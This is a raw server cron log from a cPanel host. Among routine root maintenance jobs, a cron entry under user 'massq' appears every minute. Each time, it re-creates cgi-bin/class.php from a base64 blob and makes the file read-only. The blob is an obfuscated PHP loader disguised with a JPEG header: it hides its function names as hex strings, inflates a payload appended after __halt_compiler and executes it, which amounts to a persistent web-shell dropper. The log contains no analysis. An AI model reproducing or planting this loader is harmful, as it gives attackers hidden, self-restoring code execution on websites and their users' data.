Sep  2 07:56:01 server CROND[10375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:57:01 server CROND[10751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:57:01 server CROND[10750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:57:01 server CROND[10752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:57:01 server CROND[10753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:58:01 server CROND[11117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:58:01 server CROND[11118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:58:01 server CROND[11116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:59:01 server CROND[11631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:59:01 server CROND[11632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:59:01 server CROND[11633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:00:01 server CROND[12037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:00:01 server CROND[12038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:00:01 server CROND[12044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:00:01 server CROND[12042]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  2 08:00:01 server CROND[12043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:00:01 server CROND[12046]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 08:00:01 server CROND[12045]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:00:01 server CROND[12050]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:00:01 server CROND[12047]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 08:00:01 server CROND[12048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:00:01 server CROND[12049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:01:01 server CROND[12961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:01:01 server CROND[12962]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 08:01:01 server CROND[12963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:01:01 server CROND[12964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:01:01 server run-parts(/etc/cron.hourly)[12962]: starting 0anacron
Sep  2 08:01:01 server run-parts(/etc/cron.hourly)[12982]: finished 0anacron
Sep  2 08:02:01 server CROND[13348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:02:01 server CROND[13349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:02:01 server CROND[13350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:03:01 server CROND[13748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:03:01 server CROND[13749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:03:01 server CROND[13750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:04:01 server CROND[14238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:04:01 server CROND[14239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:04:01 server CROND[14240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:05:01 server CROND[14629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:05:01 server CROND[14630]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 08:05:01 server CROND[14633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:05:01 server CROND[14632]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:05:01 server CROND[14634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:05:01 server CROND[14639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:05:01 server CROND[14635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:05:01 server CROND[14636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:05:01 server CROND[14637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:06:01 server CROND[15504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:06:01 server CROND[15505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:06:01 server CROND[15506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:07:01 server CROND[15894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:07:01 server CROND[15895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
